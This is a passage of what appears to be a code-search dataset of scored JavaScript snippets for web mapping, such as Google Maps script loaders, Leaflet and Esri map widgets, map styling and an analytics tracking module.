'text/javascript');\n ele.setAttribute('src', filepath);\n $('head').append(ele);\n}", "title": "" }, { "docid": "caff2910a8720d7c6a9ffab104356cff", "score": "0.5146794", "text": "function loadScript() {\n var script = document.createElement(\"script\"); \n script.src = \"https://maps.googleapis.com/maps/api/js?key=AIzaSyDZcFunvhXQm9cAeTsFW0PQoeXH44FwgAg&callback=initMap\";\n script.async = true;\n script.defer = true;\n document.body.appendChild(script);\n}", "title": "" }, { "docid": "162bc70e7489dd992123eeae716a1763", "score": "0.5144126", "text": "function onload() {\n // Saves the State object as a global variable.\n // Modifing values of this `State` object (when selecting the initial search area or\n // when creating a new clue for example) triggers the appropriate modifications\n // in the UI.\n window.State = State;\n\n // Prepare the various UI components:\n const menuBar = createMenuBar();\n const menuLeft = createLeftMenu();\n const menuRight = createRightMenu();\n const map_terrain_container = new DockPanel();\n map_terrain_container.id = 'map-terrain-container';\n State.map_widget = new MapWidget({ id: 'map1' }); // TODO: Dont attach the map_widget here !\n map_terrain_container.addWidget(State.map_widget);\n const main = new SplitPanel({ spacing: 0 });\n main.id = 'main';\n main.addWidget(menuLeft);\n main.addWidget(map_terrain_container);\n main.addWidget(menuRight);\n main.setRelativeSizes([2, 7, 2]);\n // Get a child or a subchild widget by its id:\n main.getWidget = (id) => getChildrenWidgets(main, id);\n // TODO : allow to get a widget by its type\n\n // On window resize, resize the main widget (will propagate the information\n // to its child widgets).\n window.onresize = () => {\n main.update();\n };\n Widget.attach(menuBar, document.body);\n Widget.attach(main, document.body);\n\n // Todo : ....\n window.mainPanel = main;\n window.menuBar = menuBar;\n // Manualy triggers the first resize on the map once all\n // our components are mounted:\n setTimeout(() => { State.map_widget._map.updateSize(); }, 125);\n\n window.addEventListener('popstate', stateHandler.popstate);\n // window.addEventListener('keydown', keydownlistener);\n window.addEventListener('keyup', (ev) => {\n if (ev.key === 'Escape' || ev.code === 'Escape') {\n // Discards everything (popups / contextmenu / etc.)\n // when the 'escape' key is pressed\n document.querySelectorAll('.card-container')\n .forEach((el) => { el.remove(); });\n } else if (ev.key === 'Shift') {\n // Allows some new cursor interactions on the map\n // while the 'shift' key is pressed\n // State.map_widget._map.removeInteraction(State.map_widget.selectInteraction);\n // State.map_widget._map.removeEventListener('pointermove');\n }\n });\n\n // Save the json schema validators as a global variable too:\n prepareValidators()\n .then((validators) => {\n window.validators = validators;\n });\n // TODO : next line is not necessary (only for debug purpose)\n // and can be removed when needed\n window.__DB_GASPAR = DB;\n}", "title": "" }, { "docid": "4c95f61da83ee18815e9eced113e1a19", "score": "0.5141219", "text": "function AppMeasurement_Module_ActivityMap(f) {\n function g(a, d) {\n var b, c, n;\n if (a && d && (b = e.c[d] || (e.c[d] = d.split(\",\"))))\n for (n = 0; n < b.length && (c = b[n++]);)\n if (-1 < a.indexOf(c)) return null;\n p = 1;\n return a\n }\n\n function q(a, d, b, c, e) {\n var g, h;\n if (a.dataset && (h = a.dataset[d])) g = h;\n else if (a.getAttribute)\n if (h = a.getAttribute(\"data-\" + b)) g = h;\n else if (h = a.getAttribute(b)) g = h;\n if (!g && f.useForcedLinkTracking && e && (g = \"\", d = a.onclick ? \"\" + a.onclick : \"\")) {\n b = d.indexOf(c);\n var l, k;\n if (0 <= b) {\n for (b += 10; b < d.length && 0 <= \"= \\t\\r\\n\".indexOf(d.charAt(b));) b++;\n if (b < d.length) {\n h = b;\n for (l = k = 0; h < d.length && (\";\" != d.charAt(h) || l);) l ? d.charAt(h) != l || k ? k = \"\\\\\" == d.charAt(h) ? !k : 0 : l = 0 : (l = d.charAt(h), '\"' != l && \"'\" != l && (l = 0)), h++;\n if (d = d.substring(b, h)) a.e = new Function(\"s\", \"var e;try{s.w.\" + c + \"=\" + d + \"}catch(e){}\"), a.e(f)\n }\n }\n }\n return g || e && f.w[c]\n }\n\n function r(a, d, b) {\n var c;\n return (c = e[d](a, b)) && (p ? (p = 0, c) : g(k(c), e[d + \"Exclusions\"]))\n }\n\n function s(a, d, b) {\n var c;\n if (a && !(1 === (c = a.nodeType) && (c = a.nodeName) && (c = c.toUpperCase()) && t[c]) && (1 === a.nodeType && (c = a.nodeValue) && (d[d.length] = c), b.a ||\n b.t || b.s || !a.getAttribute || ((c = a.getAttribute(\"alt\")) ? b.a = c : (c = a.getAttribute(\"title\")) ? b.t = c : \"IMG\" == (\"\" + a.nodeName).toUpperCase() && (c = a.getAttribute(\"src\") || a.src) && (b.s = c)), (c = a.childNodes) && c.length))\n for (a = 0; a < c.length; a++) s(c[a], d, b)\n }\n\n function k(a) {\n if (null == a || void 0 == a) return a;\n try {\n return a.replace(RegExp(\"^[\\\\s\\\\n\\\\f\\\\r\\\\t\\t-\\r \\u00a0\\u1680\\u180e\\u2000-\\u200a\\u2028\\u2029\\u205f\\u3000\\ufeff]+\", \"mg\"), \"\").replace(RegExp(\"[\\\\s\\\\n\\\\f\\\\r\\\\t\\t-\\r \\u00a0\\u1680\\u180e\\u2000-\\u200a\\u2028\\u2029\\u205f\\u3000\\ufeff]+$\",\n \"mg\"), \"\").replace(RegExp(\"[\\\\s\\\\n\\\\f\\\\r\\\\t\\t-\\r \\u00a0\\u1680\\u180e\\u2000-\\u200a\\u2028\\u2029\\u205f\\u3000\\ufeff]{1,}\", \"mg\"), \" \").substring(0, 254)\n } catch (d) {}\n }\n var e = this;\n e.s = f;\n var m = window;\n m.s_c_in || (m.s_c_il = [], m.s_c_in = 0);\n e._il = m.s_c_il;\n e._in = m.s_c_in;\n e._il[e._in] = e;\n m.s_c_in++;\n e._c = \"s_m\";\n e.c = {};\n var p = 0,\n t = {\n SCRIPT: 1,\n STYLE: 1,\n LINK: 1,\n CANVAS: 1\n };\n e._g = function() {\n var a, d, b, c = f.contextData,\n e = f.linkObject;\n (a = f.pageName || f.pageURL) && (d = r(e, \"link\", f.linkName)) && (b = r(e, \"region\")) && (c[\"a.activitymap.page\"] = a.substring(0,\n 255), c[\"a.activitymap.link\"] = 128 < d.length ? d.substring(0, 128) : d, c[\"a.activitymap.region\"] = 127 < b.length ? b.substring(0, 127) : b, c[\"a.activitymap.pageIDType\"] = f.pageName ? 1 : 0)\n };\n e.link = function(a, d) {\n var b;\n if (d) b = g(k(d), e.linkExclusions);\n else if ((b = a) && !(b = q(a, \"sObjectId\", \"s-object-id\", \"s_objectID\", 1))) {\n var c, f;\n (f = g(k(a.innerText || a.textContent), e.linkExclusions)) || (s(a, c = [], b = {\n a: void 0,\n t: void 0,\n s: void 0\n }), (f = g(k(c.join(\"\")))) || (f = g(k(b.a ? b.a : b.t ? b.t : b.s ? b.s : void 0))) || !(c = (c = a.tagName) && c.toUpperCase ? c.toUpperCase() :\n \"\") || (\"INPUT\" == c || \"SUBMIT\" == c && a.value ? f = g(k(a.value)) : a.src && \"IMAGE\" == c && (f = g(k(a.src)))));\n b = f\n }\n return b\n };\n e.region = function(a) {\n for (var d, b = e.regionIDAttribute || \"id\"; a && (a = a.parentNode);) {\n if (d = q(a, b, b, b)) return d;\n if (\"BODY\" == a.nodeName) return \"BODY\"\n }\n }\n}", "title": "" }, { "docid": "16d642e2fd3d59154846bed693952a13", "score": "0.51404804", "text": "function initMap() {\n // The location of tucson\n let tucson = {lat: 32.2217429, lng: -110.926479};\n\n // The map centered at tucson\n map = new google.maps.Map(document.getElementById('map-container'), {\n zoom: 3, \n center: tucson,\n mapTypeId: 'terrain'\n });\n\n // Create a <script> tag and set the USGS URL as the source.\n let script = document.createElement('script');\n // This example uses a local copy of the GeoJSON stored at\n // http://earthquake.usgs.gov/earthquakes/feed/v1.0/summary/2.5_week.geojsonp\n script.src = 'https://developers.google.com/maps/documentation/javascript/examples/json/earthquake_GeoJSONP.js';\n \n document.getElementsByTagName('head')[0].appendChild(script);\n}", "title": "" }, { "docid": "0d541cacc19186b0161289143056833a", "score": "0.5137099", "text": "renderMapStepOne(map) {\n\n // Add tool for drawing polygon on map\n let draw = new MapboxDraw({\n displayControlsDefault: false,\n controls: {\n polygon: true,\n trash: true\n }\n });\n map.addControl(draw);\n this.draw = draw;\n\n // Add zoom and rotation controls to the map.\n map.addControl(new mapboxgl.NavigationControl());\n\n // after map initializes itself, go to work adding all the things\n map.on('load', function () {\n this.renderMapStepTwo(map);\n }.bind(this));\n }", "title": "" }, { "docid": "cb2773d53b564115ad9b5eaa4c17733a", "score": "0.51184916", "text": "function initializeMapDOM() {\n var mapOptions = {\n zoom: 1,\n center: new google.maps.LatLng(37, 124.644),\n \n styles: [\n {\n \"stylers\": [\n {\n \"hue\": \"#ff1a00\"\n },\n {\n \"invert_lightness\": true\n },\n {\n \"saturation\": -100\n },\n {\n \"lightness\": 33\n },\n {\n \"gamma\": 0.5\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#2D333C\"\n }\n ]\n }\n]\n \n \n \n };\n map = new google.maps.Map(document.getElementById('map'),\n mapOptions);\n Logger(\"DOM map initialized\");\n}", "title": "" }, { "docid": "1e32f93c0feeace4fcd47159bec3d0f2", "score": "0.51170766", "text": "function getMapProperties_JS(){\n\tmapControl.map = mapControl.getSWFControl();\n\tmapControl.refreshDataFromDataSource();\n\tvar obj = new Object();\n obj.availableMapLayerListItems = mapControl.availableMapLayerList.items;\n obj.defaultLayer = mapControl.defaultLayer;\n obj.availableMapLayerListKeys = mapControl.availableMapLayerList.keys;\n obj.license_type = license_type;\n obj.HYBRID_LAYER = mapControl.HYBRID_LAYER;\n obj.showLabels = mapControl.showLabels;\n obj.labelTextFormatProperties = mapControl.labelTextFormatProperties;\n obj.autoZoomLevelLimit = mapControl.autoZoomLevelLimit;\n\n if(valueExists(mapControl.thematicColorSizeMapEnabled)){\n \tobj.thematicColorSizeMapEnabled = mapControl.thematicColorSizeMapEnabled;\n }\n \n if(mapControl.highlightStructureEnabled && (!mapControl.highlightStructureByDataEnabled)){\n \tobj.data = [mapControl.data[0]];\n } else {\n \tobj.data = mapControl.data;\n }\n\n if(mapControl.highlightStructureButtonShown == null){\n \tif(mapControl.highlightStructureEnabled){\n \t\tobj.highlightStructureButtonShown = true;\n \t}\n } else {\n \tobj.highlightStructureButtonShown = mapControl.highlightStructureButtonShown;\n }\n\n if(valueExists(mapControl.bFillSymbolEnabled)){\n \tobj.bFillSymbolEnabled = mapControl.bFillSymbolEnabled;\n }\n \n obj.dataSourceMarkerPairs = mapControl.dataSourceMarkerPairs;\n obj.mouseClickEnabled = mapControl.mouseClickEnabled;\n obj.highlightStructureEnabled = mapControl.highlightStructureEnabled;\n obj.highlightStructureByDataEnabled = mapControl.highlightStructureByDataEnabled;\n obj.queryURL = mapControl.queryURL;\n \n return toJSON(obj);\n}", "title": "" }, { "docid": "d8241fd002553a89c3b601c6bd60fb2a", "score": "0.5102172", "text": "init() {\n chartAdd.mapToChart(document.querySelector('#northMap'), 'northDenmark', '7OIHxbSLJcSF2sXVtxTA', '#7d5d8a', 'NordDanmark');\n }", "title": "" }, { "docid": "2b04d98af8fc1b7ad8d998d913ec8ef4", "score": "0.50994986", "text": "render() {\n return <div id = \"map-container\"></div>\n }", "title": "" }, { "docid": "1ce0f87c4fc8873fc1c3bad064ac6a9c", "score": "0.50949466", "text": "function fetchExampleMap () {\n __logMsg( '_warn_', '_place_mock_fetch_here_' );\n }", "title": "" }, { "docid": "1ee41193d93fae2023efbf5e0e4452eb", "score": "0.50927263", "text": "function loadScript() {\n var script = document.createElement(\"script\");\n script.type = \"text/javascript\";\n script.src = \"http://maps.googleapis.com/maps/api/js?key=AIzaSyC6LAzdvnuFGZ3bIt6zTjGaHsGcA0_6JWM&sensor=false&callback=setup\";\n document.body.appendChild(script);\n}", "title": "" }, { "docid": "9ea1e690ce744fbe97cba85f221cf825", "score": "0.5086664", "text": "function initDummy() {\n /* Main Map */\n var dummymapMainMap = new esri.Map(\"dummymap-MainMap\", {\n basemap: \"topo\",\n center: [map.center.lng(), map.center.lat()],\n zoom: 13\n });\n\n var scalebarMainMap = new esri.dijit.Scalebar({\n map: dummymapMainMap,\n scalebarUnit: \"metric\"\n }, dojo.byId(\"scalebar-MainMap\"));\n\n google.maps.event.addListener(map, \"center_changed\", function () {\n var lat = map.center.lat();\n var lng = map.center.lng();\n var point = new esri.geometry.Point(lng, lat);\n dummymapMainMap.centerAt(point);\n });\n\n google.maps.event.addListener(map, \"zoom_changed\", function () {\n var zoom = map.getZoom();\n dummymapMainMap.setLevel(zoom);\n });\n\n // insert into google map\n var scalebar = document.getElementById('scalebar-MainMap');\n map.controls[google.maps.ControlPosition.BOTTOM_LEFT].push(scalebar);\n\n\n /* Sub Map */\n var dummymapSubMap = new esri.Map(\"dummymap-SubMap\", {\n basemap: \"topo\",\n center: [submap.center.lng(), submap.center.lat()],\n zoom: 13\n });\n\n var scalebarSubMap = new esri.dijit.Scalebar({\n map: dummymapSubMap,\n scalebarUnit: \"metric\"\n }, dojo.byId(\"scalebar-SubMap\"));\n\n google.maps.event.addListener(submap, \"center_changed\", function () {\n var lat = submap.center.lat();\n var lng = submap.center.lng();\n var point = new esri.geometry.Point(lng, lat);\n dummymapSubMap.centerAt(point);\n });\n\n google.maps.event.addListener(submap, \"zoom_changed\", function () {\n var zoom = submap.getZoom();\n dummymapSubMap.setLevel(zoom);\n });\n\n // insert into google map\n var scalebar = document.getElementById('scalebar-SubMap');\n submap.controls[google.maps.ControlPosition.BOTTOM_LEFT].push(scalebar);\n\n\n /* Dynamic Map */\n var dummymapDynamicMap = new esri.Map(\"dummymap-DynamicMap\", {\n basemap: \"topo\",\n center: [dynamicmap.center.lng(), dynamicmap.center.lat()],\n zoom: 13\n });\n\n var scalebarDynamicMap = new esri.dijit.Scalebar({\n map: dummymapDynamicMap,\n scalebarUnit: \"metric\"\n }, dojo.byId(\"scalebar-DynamicMap\"));\n\n google.maps.event.addListener(dynamicmap, \"center_changed\", function () {\n var lat = dynamicmap.center.lat();\n var lng = dynamicmap.center.lng();\n var point = new esri.geometry.Point(lng, lat);\n dummymapDynamicMap.centerAt(point);\n });\n\n google.maps.event.addListener(dynamicmap, \"zoom_changed\", function () {\n var zoom = dynamicmap.getZoom();\n dummymapDynamicMap.setLevel(zoom);\n });\n\n // insert into google map\n var scalebar = document.getElementById('scalebar-DynamicMap');\n dynamicmap.controls[google.maps.ControlPosition.BOTTOM_LEFT].push(scalebar);\n}", "title": "" }, { "docid": "d6c6637672ae3b042906e354bf34c41e", "score": "0.50866044", "text": "renderMapStepSix(map) { \n const checkMap = (map) => {\n if (!map.loaded()) {\n setTimeout(() => { checkMap(map) }, 50)\n } else {\n this.afterMapRender(WindFarm.getFarms()[0]);\n }\n }\n checkMap(map);\n }", "title": "" }, { "docid": "c71fe059da804c6f93d96002fa57eb1e", "score": "0.50839466", "text": "function initMap() {\n var mapController = new MapController();\n}", "title": "" }, { "docid": "863e5d8a1eb11f0967c3bd14b549e5bb", "score": "0.50834346", "text": "function t$z(){return Promise.all([import('./webgl-318cf4a0.js'),import('./mapViewDeps-5cb4b8d8.js')])}", "title": "" }, { "docid": "f6302aebcc8bd531d7b74d8261c038b6", "score": "0.5080649", "text": "function createMap(){return new MapCtr();}", "title": "" }, { "docid": "1fe05f359ff87b0c5dc5a6d82d39636d", "score": "0.507562", "text": "function error() {\r\n alert(\"OOPS !! Map did not load\");\r\n}", "title": "" }, { "docid": "1ee3ceff03d5ea9b176973f62081cac6", "score": "0.5070427", "text": "function insertMapScript() {\n let googleApi = document.createElement(\"script\")\n googleApi.src = `https://maps.googleapis.com/maps/api/js?key=${CONFIG.keyGoogleMapsGeocodingAPI}&callback=initMap&libraries=places,geometry`\n\n document.body.appendChild(googleApi)\n}", "title": "" }, { "docid": "b81e1da6fce9d30292100c4c113cce70", "score": "0.5062855", "text": "function runInitPage() {\n var mapElement = getMapElement();\n var map = createMap(mapElement);\n registerMapEventHandlers(map);\n // Setup some initial values.\n runForecast(map.center.lat(), map.center.lng());\n}", "title": "" }, { "docid": "b3d72190bf489c0a318f328cc052e01b", "score": "0.50601494", "text": "function loadScript() {\n var script = document.createElement('script');\n script.type = 'text/javascript';\n script.src = 'https://maps.googleapis.com/maps/api/js?v=3.exp&libraries=visualization&sensor=false&' +\n 'callback=initialize';\n document.body.appendChild(script);\n}", "title": "" }, { "docid": "b66d3b4b2665650797d93bb0639569a2", "score": "0.5058645", "text": "function pageLoaded() {\r\n setTimeout(refreshTimer, 1000);\r\n getState();\r\n mapimage.src = mapPath;\r\n generateDynamicHTML();\r\n}", "title": "" }, { "docid": "f0b0cdcaef34f38c9b3dd9eb3eff2e3e", "score": "0.5052754", "text": "function loadMapScript(mapURL) {\n var scriptElement = window.document.getElementsByTagName(\"script\")[0];\n var configuredScript = window.document.createElement(\"script\");\n configuredScript.src = mapURL;\n configuredScript.async = true;\n configuredScript.onerror = function () { window.alert(\"Google Maps API failed to load data!\"); }\n scriptElement.parentNode.insertBefore(configuredScript, scriptElement);\n}", "title": "" }, { "docid": "30659fb9b066630d4a9436306942859e", "score": "0.50512165", "text": "create(id, callback) {\n let html = $('<div/>').prepend(htmlTemplate);\n\n //create the id to be set in html\n let htmlId = \"iotdbWidget\" + id;\n let htmlIdSelector = `#${htmlId}`;\n\n // set leaflet image path\n L.Icon.Default.imagePath = window.iotBaseDir + 'res/LeafletImages/';\n\n // create layer for geojson objects\n let superLayer = L.geoJSON();\n\n // add layer to the array of all layers of all maps\n this.mapLayers.addLayer(superLayer);\n this.mapIDs.push({\n mapID: htmlId,\n layerID: this.mapLayers.getLayerId(superLayer)\n });\n\n //When html of widget is loaded, set up map in div\n $(\"#mapWidgetDiv\").ready(() => {\n\n //Replace dummy ids with real ones\n $(\"#mapWidget\").attr(\"id\", htmlId);\n $(\"#templateWidgetLastUpdate\").attr(\"id\", htmlId + \"-lastUpdate\");\n $(\"#mapWidgetDiv\").attr(\"id\", `${htmlId}-div`);\n\n // Set correct language for title\n $(htmlIdSelector).find(\".widget-title\").text(window.iotlg.widgetMapTitle);\n\n // Set remove callback\n $(htmlIdSelector).find(\"#removeWidgetButton\").click(function(e) {\n e.preventDefault();\n _userEvents.removeWidget(htmlId);\n });\n\n // Set config callback\n $(htmlIdSelector).find(\"#configureWidgetButton\").click(function(e) {\n e.preventDefault();\n _userEvents.configureWidget(htmlId);\n });\n\n //the DOM-Element to display the time of the last Update\n let lastUpdate = $(`#${htmlId}-lastUpdate`)[0];\n\n // Try to initialize a map. This will fail if there is no HTML\n // component.\n let map = undefined;\n let tiles = undefined;\n try {\n // initialize a new map centered to the Karlsruhe Palace with a zoom level of 13\n map = L.map(htmlId + '-div').setView([49.014, 8.404], 13);\n\n $(\"#\" + htmlId).parent().resize(() => setTimeout(function() {\n map.invalidateSize();\n }, 200));\n\n // disable map dragging because it interferes with widget dragging, navigation is still possible with arrow keys\n map.dragging.disable();\n\n map.on('popupopen', function(e) {});\n\n // create map tiles and add them to the map\n tiles = L.tileLayer('https://{s}.tile.iosb.fraunhofer.de/tiles/osmde/{z}/{x}/{y}.png', {\n attribution: \"Map data &copy; <a href='http://openstreetmap.org'>OpenStreetMap</a> contributors, <a href='http://creativecommons.org/licenses/by-sa/2.0/'>CC-BY-SA</a>\"\n });\n tiles.addTo(map);\n map.addLayer(superLayer);\n } catch (err) {\n }\n\n let markerTypes = [];\n let thresholds = [];\n\n // predefine traffic light marker icons for the three states\n let greenTrafficLight = L.icon({\n iconUrl: window.iotBaseDir + 'res/TLgreen.svg',\n iconSize: [15, 35]\n });\n let redTrafficLight = L.icon({\n iconUrl: window.iotBaseDir + 'res/TLred.svg',\n iconSize: [15, 35]\n });\n let yellowTrafficLight = L.icon({\n iconUrl: window.iotBaseDir + 'res/TLyellow.svg',\n iconSize: [15, 35]\n });\n\n // function to be called when new data arrives\n let dataUpdate = (data) => {\n superLayer.clearLayers();\n\n // update last update text\n if (lastUpdate !== undefined) {\n lastUpdate.innerText = window.iotlg.widgetLastUpdate + \": \" + _widgetFactory.getCurrentTimePretty();\n }\n\n for (let i = 0; i < data.length; i++) {\n // check for undefined thing location within data\n if (data[i].Thing_Locations !== undefined) {\n let thingLoc = data[i].Thing_Locations[data[i].Thing_Locations.length - 1];\n\n // check if the location's type is GeoJSON\n if (thingLoc.encodingType !== \"application/vnd.geo+json\") {\n console.error(\"Error, encoding type is not geoJSON\");\n } else {\n let geoJson;\n let type;\n\n // check for invalid marker type\n if (markerTypes[i] !== undefined) {\n type = markerTypes[i];\n }\n\n let newValue;\n let maxTime;\n\n // handle different marker type inputs\n switch (type) {\n case MARKER_TYPE_PLAIN:\n // add GeoJSON to map\n geoJson = data[i].Thing_Locations[data[i].Thing_Locations.length - 1].location;\n superLayer.addData(geoJson);\n break;\n case MARKER_TYPE_PLAINVALUE:\n // add GeoJSON to map and assign a popup with the latest observation result and the unit of measurement to it, but do nothing if no observation is available\n if (data[i].Observations == undefined) {\n break;\n }\n geoJson = data[i].Thing_Locations[data[i].Thing_Locations.length - 1].location;\n let unit = data[i].DataStream_unitOfMeasurement.symbol;\n\n maxTime = 0;\n for (let k in data[i].Observations) {\n if (new Date(data[i].Observations[k].Observation_phenomenonTime).getTime() > maxTime) {\n maxTime = new Date(data[i].Observations[k].Observation_phenomenonTime).getTime();\n newValue = data[i].Observations[k].Observation_result;\n }\n }\n\n let popUpData = newValue.toString();\n\n let popUp;\n //append unit if there is one\n if (unit !== undefined) {\n popUp = L.popup({\n autoPan: false,\n autoClose: false\n }).setContent(\"<center>\" + popUpData.toString() + \" \" + unit + \"</center>\");\n } else {\n popUp = L.popup({\n autoPan: false,\n autoClose: false\n }).setContent(\"<center>\" + popUpData.toString() + \"</center>\");\n }\n\n marker = L.GeoJSON.geometryToLayer(geoJson);\n marker.bindPopup(popUp).addTo(superLayer).openPopup();\n break;\n case MARKER_TYPE_TRAFFICLIGHT:\n // add GeoJSON to map change the marker icon dynamically to a certain traffic light, but do nothing if no observation is available\n if (data[i].Observations == undefined) {\n break;\n }\n geoJson = data[i].Thing_Locations[data[i].Thing_Locations.length - 1].location;\n let icon;\n\n maxTime = 0;\n for (let k in data[i].Observations) {\n if (new Date(data[i].Observations[k].Observation_phenomenonTime).getTime() > maxTime) {\n maxTime = new Date(data[i].Observations[k].Observation_phenomenonTime).getTime();\n newValue = data[i].Observations[k].Observation_result;\n }\n }\n let value = newValue;\n\n let getFName = function(col) {\n switch (col) {\n case COLOR_RED:\n return redTrafficLight;\n break;\n case COLOR_YELLOW:\n return yellowTrafficLight;\n break;\n case COLOR_GREEN:\n return greenTrafficLight;\n break;\n default:\n return greenTrafficLight;\n }\n };\n if (value < thresholds[i].middle) {\n icon = getFName(thresholds[i].lowerColor);\n } else if (value <= thresholds[i].upper) {\n icon = getFName(thresholds[i].middleColor);\n } else {\n icon = getFName(thresholds[i].upperColor);\n }\n\n let marker = L.GeoJSON.geometryToLayer(geoJson);\n marker.setIcon(icon).addTo(superLayer);\n break;\n case MARKER_TYPE_HISTORY:\n let hist = data[i].Thing_HistoricalLocations;\n // sort historical locations by time\n hist.sort(this._sortByTime);\n\n // make latitude/longitude array from historical locations\n let latlngs = [];\n for (let i = 0; i < hist.length; i++) {\n if (hist[i].hasOwnProperty('Locations')) {\n for (let j = 0; j < hist[i].Locations.length; j++) {\n latlngs.push(L.GeoJSON.geometryToLayer(hist[i].Locations[j].location).getLatLng());\n }\n }\n }\n // create history line from points\n L.polyline(latlngs, {\n color: 'red'\n }).addTo(superLayer);\n break;\n default:\n break;\n }\n }\n }\n }\n if (logging) console.log(\"LAYERS: \", this.getMapLayers());\n\n let _view = new View();\n if (_view.getLoadingWidgets().indexOf(htmlId) >= 0) {\n _view.popLoading(htmlId);\n }\n };\n\n // function to be called when new configuration arrives\n let configUpdate = (config) => {\n // format config properly\n config = this._formatConfigurableData(config);\n html.find(\".widget-title\")[0].innerText = config.title.data;\n // Make the title available for direct users of the layer.\n if (superLayer.setTitle) {\n superLayer.setTitle(config.title.data);\n } else {\n superLayer.iotTitle = config.title.data;\n }\n\n // extract basic map options and set them, if we have a map.\n if (map !== undefined) {\n map.setView(L.latLng(config.latitude.data, config.longitude.data), config.zoom.data);\n map.removeLayer(tiles);\n tiles = L.tileLayer(config.mapURL.data, {\n attribution: config.attribution.data\n }).addTo(map);\n }\n\n // extract marker type and color ranges from the config and save them\n for (let i = 0; i < config.sensorThingsConfiguration.data.length; i++) {\n // read overlay type from config\n markerTypes[i] = config.sensorThingsConfiguration.data[i].overlayType.data;\n // read overlay type from config\n let middle = config.sensorThingsConfiguration.data[i].thresholdMiddle.data;\n let upper = config.sensorThingsConfiguration.data[i].thresholdUpper.data;\n let lowerColor = config.sensorThingsConfiguration.data[i].lowerRangeColor.data;\n let middleColor = config.sensorThingsConfiguration.data[i].middleRangeColor.data;\n let upperColor = config.sensorThingsConfiguration.data[i].upperRangeColor.data;\n thresholds[i] = {\n middle: middle,\n upper: upper,\n lowerColor: lowerColor,\n middleColor: middleColor,\n upperColor: upperColor\n }\n }\n };\n\n callback(htmlId, dataUpdate, configUpdate);\n });\n return html;\n }", "title": "" }, { "docid": "70e2bc8729099c219cda883f36a829da", "score": "0.5049853", "text": "function mapSetup(){\n //Layer list\n var layerList = new LayerList({\n view: view,\n listItemCreatedFunction: function(event){\n const item = event.item;\n item.panel = {\n content: \"legend\",\n open: true\n };\n }\n });\n \n \n //Create a button to hide/expand the layer list\n var layerExpand = new Expand({\n expandIconClass: \"esri-icon-layers\",\n expandTooltip: \"Turn on and off Map Layers\",\n expanded: false,\n view: view,\n content: layerList,\n mode: \"floating\",\n group: \"top-left\"\n });\n \n //Home button\n var homeButton = new Home({\n view: view\n });\n \n //Search button\n var searchWidget = new Search({\n view: view,\n allPlaceholder: \"Search for a LRSID...\",\n locationEnabled: false,\n includeDefaultSources: false,\n popupOpenOnSelect: false,\n sources: [{\n featureLayer: routes,\n displayField: \"RouteID\",\n searchFields: [\"RouteID\"],\n outFields: [\"*\"],\n name: \"LRSID\",\n popupTemplate: routeTemplate,\n zoomScale: 120000,\n resultSymbol: {\n type: \"simple-line\",\n color: [255, 255, 25],\n width: 5\n }\n }, {\n featureLayer: routes,\n displayField: \"FullName\",\n searchFields: [\"FullName\"],\n outFields: [\"*\"],\n filter: {\n where: \"RouteID LIKE '%-%-1-%' OR RouteID LIKE '______________1___'\"\n },\n name: \"Route Names\",\n popupTemplate: routeTemplate,\n zoomScale: 120000,\n resultSymbol: {\n type: \"simple-line\",\n color: [255, 255, 25],\n width: 5\n }\n }, {\n featureLayer: parish,\n outFields: [\"*\"],\n popupTemplate: parishTemplate,\n name: \"Parish\",\n zoomScale: 200000,\n resultSymbol: {\n type: \"simple-line\",\n color: [255, 255, 25],\n width: 5\n }\n },{\n featureLayer: lastFiveProjects,\n displayField: \"PROJECT\",\n searchFields: [\"PROJECT\"],\n name: \"Projects Let in July 2012-August 2017\",\n popupTemplate: oldProjectTemplate,\n zoomScale: 80000,\n resultSymbol: {\n type: \"simple-line\",\n color: [255, 255, 25],\n width: 5\n }\n },{\n featureLayer: lastYearProjects,\n displayField: \"PROJECT\",\n searchFields: [\"PROJECT\"],\n name: \"Projects Let in September 2017-June 2018\",\n popupTemplate: oldProjectTemplate,\n zoomScale: 80000,\n resultSymbol: {\n type: \"simple-line\",\n color: [255, 255, 25],\n width: 5\n }\n }, {\n featureLayer: nextYearProjects,\n displayField: \"PROJECT\",\n searchFields: [\"PROJECT\"],\n name: \"Projects Let in Fiscal Year 2018-2019\",\n popupTemplate: oldProjectTemplate,\n zoomScale: 80000,\n resultSymbol: {\n type: \"simple-line\",\n color: [255, 255, 25],\n width: 5\n }\n }]\n });\n \n var searchButton = new Expand({\n expandIconClass: \"esri-icon-search\",\n expandTooltip: \"Search for a LRSID\",\n view: view,\n content: searchWidget,\n mode: \"floating\",\n group: \"top-left\"\n });\n\n //Query Widget\n var query = document.getElementById(\"info-div\");\n queryExpand = new Expand({\n expandIconClass: \"esri-icon-filter\",\n expandTooltip: \"Filter Projects\",\n expanded: false,\n view: view,\n content: query,\n mode: \"floating\",\n group: \"top-left\"\n });\n\n view.ui.add([homeButton, layerExpand, searchButton, queryExpand], \"top-left\");\n\n //Create and add the draw line button\n view.ui.add(\"line-button\", \"top-left\");\n view.when(function(event){\n var draw = new Draw({\n view: view\n });\n //======================\n //Draw polyline button\n var drawLineButton = document.getElementById(\"line-button\");\n drawLineButton.onclick = function(){\n $(\"#panel\").show(\"slide\");\n view.graphics.removeAll();\n enableCreateLine(draw, view);\n }\n });\n }", "title": "" }, { "docid": "49312a0cb65dd234c5634e96f6e16f3a", "score": "0.5048067", "text": "function initMap() {\n\t\t \n\t\t}", "title": "" }, { "docid": "8834f2dfe230a96afa539ff56dba3650", "score": "0.50453633", "text": "function loadScript() {\n var script = document.createElement(\"script\");\n script.type = \"text/javascript\";\n script.src = \"http://maps.googleapis.com/maps/api/js?key=AIzaSyAA2-g_xQA8xOQWSbGLQdbYC5V-rot63RE&sensor=false&callback=initialize\";\n document.body.appendChild(script);\n}", "title": "" }, { "docid": "078551cc554114be74b5964bd11af610", "score": "0.5045041", "text": "function setUpMap() {\n var text_color = '#757D70';\n var mapStyle = [\n {elementType: 'geometry', stylers: [{ color: '#FBEFDF' }]},\n {elementType: 'labels.text.stroke', stylers: [{ visibility: 'off' }]},\n {elementType: 'labels.text.fill', stylers: [{ color: text_color }]},\n {featureType: 'poi.business', stylers: [{ visibility: 'off' }]},\n {featureType: 'administrative.neighborhood', stylers: [{ visibility: 'off' }]}, \n {\n featureType: 'administrative.locality',\n elementType: 'labels.text.fill',\n stylers: [{ color: text_color }]\n },\n { \n featureType: 'poi', \n elementType: 'labels.icon', \n stylers: [{ visibility: 'off' }] \n },\n {\n featureType: 'poi',\n elementType: 'labels.text.fill',\n stylers: 